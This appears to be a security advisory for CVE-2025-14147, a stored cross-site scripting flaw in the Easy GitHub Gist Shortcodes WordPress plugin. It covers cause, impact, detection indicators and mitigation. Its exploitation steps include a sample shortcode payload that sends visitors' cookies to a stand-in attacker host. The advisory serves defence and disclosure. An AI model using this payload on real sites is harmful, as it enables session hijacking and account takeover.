CVE-2025-14147: 
WordPress vulnerability analysis and mitigation

CVE-2025-14147 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy GitHub Gist Shortcodes plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping of the id parameter in the gist shortcode. The vulnerability was disclosed on January 7, 2026, with Wordfence as the CNA. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a failure to sanitize user-supplied input or escape output when rendering the id parameter of the [gist] shortcode. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload within the shortcode's id attribute in a post or page. When any user visits the affected page, the injected script executes in their browser context. The vulnerable code is visible in the plugin source at line 24 of easy-github-gist-shortcodes.php (WordPress Plugin Trac).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of higher-privileged accounts. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the site (Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Easy GitHub Gist Shortcodes version 1.0 or earlier.
2. Create or Edit a Post: Navigate to the WordPress post editor and create a new post or edit an existing one where the shortcode can be used.
3. Inject Malicious Shortcode: Insert a crafted shortcode with a malicious JavaScript payload in the id parameter, for example: [gist id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Post: Submit or update the post so the payload is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized id value is rendered into the HTML output and the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor-level accounts containing <script> tags or encoded JavaScript within shortcode parameters.
• Database: WordPress wp_posts table entries containing [gist id= shortcodes with embedded script tags or JavaScript URIs in the post_content field.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the [gist] shortcode, potentially carrying cookie or session data in query parameters.
• Browser/Client: Unexpected redirects or pop-ups experienced by site visitors when accessing pages that use the Easy GitHub Gist Shortcodes plugin.

Site administrators should immediately deactivate and remove the Easy GitHub Gist Shortcodes plugin (version 1.0 and below) if no patched version is available. As of the disclosure date, no updated plugin version beyond 1.0 was referenced in available advisories. In the interim, restrict Contributor-level user registrations and audit existing posts for malicious shortcode content. Consider replacing the plugin with an alternative GitHub Gist embedding solution that properly sanitizes input (Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for January 5–11, 2026, as part of routine plugin security monitoring (Wordfence Blog). No significant independent researcher commentary, vendor statements beyond the initial disclosure, or notable media coverage has been identified for this vulnerability.